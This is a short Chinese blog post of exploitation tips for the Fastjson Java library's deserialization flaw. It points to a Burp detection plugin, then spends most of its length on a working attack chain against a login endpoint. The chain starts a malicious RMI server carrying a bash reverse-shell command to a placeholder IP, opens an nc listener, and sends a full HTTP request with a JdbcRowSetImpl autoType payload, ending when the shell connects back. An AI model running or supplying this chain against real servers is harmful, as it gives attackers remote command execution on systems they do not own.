Fastjson 漏洞利用技巧
Bypass
共 1009字,需浏览 3分钟
· 2022-05-09
每次看到json数据包,都难免会想起Fastjson以及它多个版本存在的漏洞。
如何实现自动化检测以及简化攻击步骤,从而提升漏洞发现能力,让你更有效率的Tips,在这里和大家分享下。
01、自动化漏洞检测
一款基于BurpSuite的被动式FastJson检测插件,这个插件会对BurpSuite传进来的带有json数据的请求包进行检测。
Github项目地址:
https://github.com/pmiaowu/BurpFastJsonScan
02、简化攻击步骤
在这里我们可以使用一款JNDI服务利用工具,来简化fastjson漏洞检测的步骤,辅助漏洞利用和渗透。
Github项目地址:
https://github.com/wyzxxz/jndi_tool
Fstjson漏洞利用:
(1)开启RMI服务
java -cp jndi_tool.jar jndi.EvilRMIServer 1099 8888 "bash -i >&/dev/tcp/xxxx.xxx.xxx.xxx/12345 0>&1"
(2)设置监听服务器
nc -lvvp 12345
(3)构造请求发送payload
POST /login HTTP/1.1
Host: xxx.xxx.xxx.xxx
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 111
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://xxx.xxx.xxx.xxx:1099/Object","autoCommit":true}
(4)目标系统收到POST请求,成功反弹shell。
评论
XSSFXSS漏洞利用工具
Cross-SiteScriptingFramework(XSSF)是一款安全工具,使用它可以非常容易的利用跨站脚本(XSS)漏洞。XSSF项目的主要目的是展示XSS的实际危害。
XSSFXSS漏洞利用工具
0
XPath-XCatXPath 注入漏洞利用工具
XCat是一个命令行程序,用于辅助XPath注入漏洞的利用。XCat使用Python编写并开放源代码。XCat正常使用需要python的SimpleXMLWriter模块。它支持大量功能:自动选择进样
XPath-XCatXPath 注入漏洞利用工具
0